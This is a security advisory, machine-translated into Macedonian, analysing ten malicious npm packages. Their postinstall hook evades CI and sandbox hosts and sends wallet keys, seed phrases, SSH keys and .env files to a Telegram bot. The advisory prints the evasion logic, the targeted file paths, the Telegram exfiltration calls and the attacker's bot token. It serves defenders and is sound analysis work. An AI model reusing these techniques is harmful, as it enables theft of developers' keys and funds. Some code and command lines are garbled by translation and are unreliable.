TL; ДР
На 9 јуни 2026 година, една единствена сметка на издавач на npm, aicrypto-xzggg, испратено десет пакети со крипто- и Web3-вкусни имиња — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, и уште шест.
Секој пакет го носи истиот товар од postinstall кука. При инсталацијата, проверува дали работи во CI или во sandbox - ако не, ги чита складиштата на клучеви во паричникот, датотеките со seed-phrase, SSH клучевите и .env датотеки од шест блокчејн екосистеми и ги пренесува до бот на Telegram.
Единствениот индикатор што бранителот може веднаш да го бара е идентификаторот на ботот на Telegram. 8227918239.
Сериозност: критична — директна кражба на клучеви за потпишување и фрази за обновување од работни станици за програмери.
Нападот: Како функционира
Пакетите се рекламираат себеси како алатки за блокчејн програмери. пакет.json е минимално и го насочува животниот циклус на инсталацијата кон скрипта:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } скрипти/постинстал.js е еднолиниска подлога која го вчитува вистинскиот товар: бара(„../src/index.js“). Затоа што постинсталација работи автоматски за време на npm инсталирај, не е потребен увоз на код од страна на развивачот — поставувањето на пакетот во дрво на зависности е доволно за да се изврши.
Синџирот на убивање внатре src/index.js е четири чекори:
- Проверка на околината. Функцијата guard одлучува дали домаќинот изгледа како агент за градење или како песочник за анализа.
- Одложување. Извршувањето е одложено зад setTimeout од околу 7.4 секунди.
- Колекција. Се оди по фиксен список на патеки до паричник, клуч и тајни датотеки; постојните датотеки се ставаат во ред на чекање.
- Ексфилтрација. Датотеките во ред се испраќаат до бот на Telegram, а потоа следува резиме порака.
Листата на целни колекции опфаќа шест синџири плус генерички тајни за програмери. Скратено:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Вкупно дваесет и една патека. Записи во директориумот како што се ~/.ethereum/чување на клучеви се прошируваат и секоја датотека внатре е ставена во ред. Ексфилтрацијата директно го користи Telegram Bot API — a испрати порака повик со резиме на домаќинот и датотеката, потоа испратидокумент повеќеделно прикачување за секоја датотека:
текст
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Резимената порака што ја составува кодот започнува со буквалниот стринг КРИПТО КРАДЕЦ, проследено со името на домаќинот, корисничкото име, името на оригиналниот пакет, бројот на датотеки и временската ознака.
Што е ново овде
Диференцијаторот не е механизмот на кражба — ексфил базиран на Телеграм од npm постинсталација hooks е добро изгазено. Тоа е порта за извршување. Пред да се направи било што, payload повикува функција која враќа true кога домаќинот наликува на CI runner или sandbox, и враќа порано кога тоа ќе се случи:
текст
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Регексот на идентификацијата на контејнерот е значајната клауза: име на домаќин од 12 хексадецимални знаци е стандардната форма што Docker ја доделува на контејнер, па така товарот го третира „моето име на хост изгледа како Docker контејнер“ како причина да остане неактивен. Во комбинација со доцнењето од седум секунди, дизајнот фаворизира извршување на вистинска работна станица на развивачот и останување тивок насекаде каде што изгледа како автоматизирана анализа. Таа порта е она што ги потиснува сигналите за динамичка анализа и го одржува статичкиот exfil проток како примарен доказ за убедување.
Хронологија
| Датум (UTC) | настанот |
|---|---|
| 2026-06-09 ~02:48 | Првите пакети во кластерот се означени при објавување (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Членови со повисока верзија означени (ethereum-kit-9 во 1.25.36, wallet-sdk-9 во 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Конечно означени членови (defi-tools-39 во 4.26.29, swap-sdk-87 во 4.63.78, farming-tools-12 во 4.68.54) |
| 2026-06-09 | Сите десет класифицирани злонамерни и пријавени за отстранување од регистарот |
Сите десет се појавија во рок од околу седумдесет минути, што е во согласност со едно сценарио за објавување од една сметка.
Индикатори за компромис
Мрежни и бихевиорални индикатори (домаќин без дефанзива):
| индикатор | Vrednost |
|---|---|
| Крајна точка на Exfil | api[.]telegram[.]org (API за бот на Телеграм) |
| Идентификатор на бот на Телеграм | 8227918239 |
| Токен за бот | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ИД за разговор на Телеграм | 6433587894 |
| Инсталирајте ја куката | postinstall → scripts/postinstall.js → src/index.js |
| Низа за обележување | CRYPTO STEALER во составената резиме порака |
| Издавач | aicrypto-xzggg (наведена е-пошта vipsyria88@gmail[.]com, непотврдено) |
Пакети и верзии, секој со својот SHA-256 src/index.js товар (товарите се функционално идентични и се разликуваат само во вградената етикета за име на пакет, така што секој хаш е различен):
| пакет | верзија | SHA-256 од src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Едноставно барање: пребарувајте логови за инсталација и датотеки за заклучување за кое било од десетте имиња и пребарувајте излезен сообраќај за врски до Telegram Bot API од хостови на градење или развивачи кои на друг начин не го користат.
Атрибуција и набљудувано однесување
Сите десет пакети беа објавени од една сметка, aicrypto-xzggg, чија наведена е-пошта е vipsyria88@gmail[.]comИ е-поштата и врската извор-контрола не се потврдени во метаподатоците на регистарот, а сметката има силно негативен репутациски рејтинг. Не потврдивме кој ја управува сметката.
Вреди да се одвојат два детала од какво било тврдење за идентитет. Прво, пакет.json авторот теренски читања Алекс Смит на секој пакет, додека вистинската сметка за објавување е aicrypto-xzggg; полето за автор е самопрогласена метаподатоци и не утврдува авторство. Второ, броевите на верзиите варираат многу - некои членови се наоѓаат на 1.0.0, други на 4.68.54 — што е во согласност со повторната употреба на еден товар низ новосоздадените имиња на пакети, наместо одржување на вистинска историја на изданија.
Однесувањето е униформно низ целиот кластер: истата листа на патеки за цел, истиот идентификатор на бот на Telegram и идентификатор на разговор, истата порта на околината, истата КРИПТО КРАДЕЦ маркер. Таа униформност е најсилната врска помеѓу пакетите. Тоа е сигнал од ист оператор, а не идентитет.
Влијание, трендови и насоки за бранителите
Изложеноста е конкретна. Развивачот кој инсталира кој било од овие пакети на работна станица што содржи софтверски паричник, датотека со почетна фраза или SSH клуч, ги чита и пренесува тие датотеки од домаќинот во рок од неколку секунди. Фразите за обновување и клучевите за потпишување не истекуваат на начин како што истекуваат токените за сесија; откако... mnemonic.txt или Солана id.json ја напушта машината, средствата што ги контролира се изложени на ризик сè додека не се преместат. Истото трчање, исто така, зафаќа .Н.С датотеки, кои рутински носат API клучеви и акредитиви за базата на податоци.
Два тренда стојат зад овој кластер. Првиот е континуираната употреба на имиња со крипто и Web3 тема за да се привлече одредена публика - програмери кои чуваат паричници и клучеви на истата машина на која инсталираат зависности. Вториот е созревањето на избегнувањето на sandbox во товарите за време на инсталацијата. Гејт кој проверува променливи на CI околина, кориснички имиња на извршители и облик на име на домаќин на Docker container-id е намерен обид да се однесува поинаку при анализа отколку на вистинска работна станица и ја крева летвата за чисто динамичко откривање.
За бранителите:
Инсталирајте со скрипти оневозможени по дифолт. npm инсталација –игнорирање-скрипти, или поставете игнорирај-скрипти=точно in .npmrc, спречува постинсталација извршување; овозможете скрипти само за специфичните зависности на кои навистина им се потребни.
Држете ги паричниците и клучевите за потпишување подалеку од машините за градење и развој. Користете хардверски паричник или наменски хост за потпишување без зависности.
Третирај .Н.С, складишта на клучеви и датотеки со семенски фрази како скапоцени камења. Тие никогаш не треба да седат во директориум кој е исто така npm инсталирај работно дрво.
Барајте излезни конекции до Telegram Bot API од CI и хостови на програмери. Повеќето средини за градење никогаш не го повикуваат; онаа што одеднаш го прави тоа, веднаш по инсталацијата, вреди да се истражи.
Закачи и прегледај зависности. Сосема нов пакет со генеричко крипто име, постинсталација кука, и ниедна врска со репозиториумот не гарантира преглед пред да влезе во заклучена датотека.
Клаузулата за избегнување на идентификацијата на контејнерот е исто така потсетник за аналитичарите: товарот за време на инсталацијата што останува неактивен во песочник не е бениген, туку селективен. Статичкиот преглед на патеката за инсталација останува сигурен начин да се види што динамичкото извршување може да одбие да покаже.
Референци
документација за инсталација на npm — скрипти за животниот циклус и –игнорира-скрипти— референца за оневозможување на автоматска инсталација hooks.





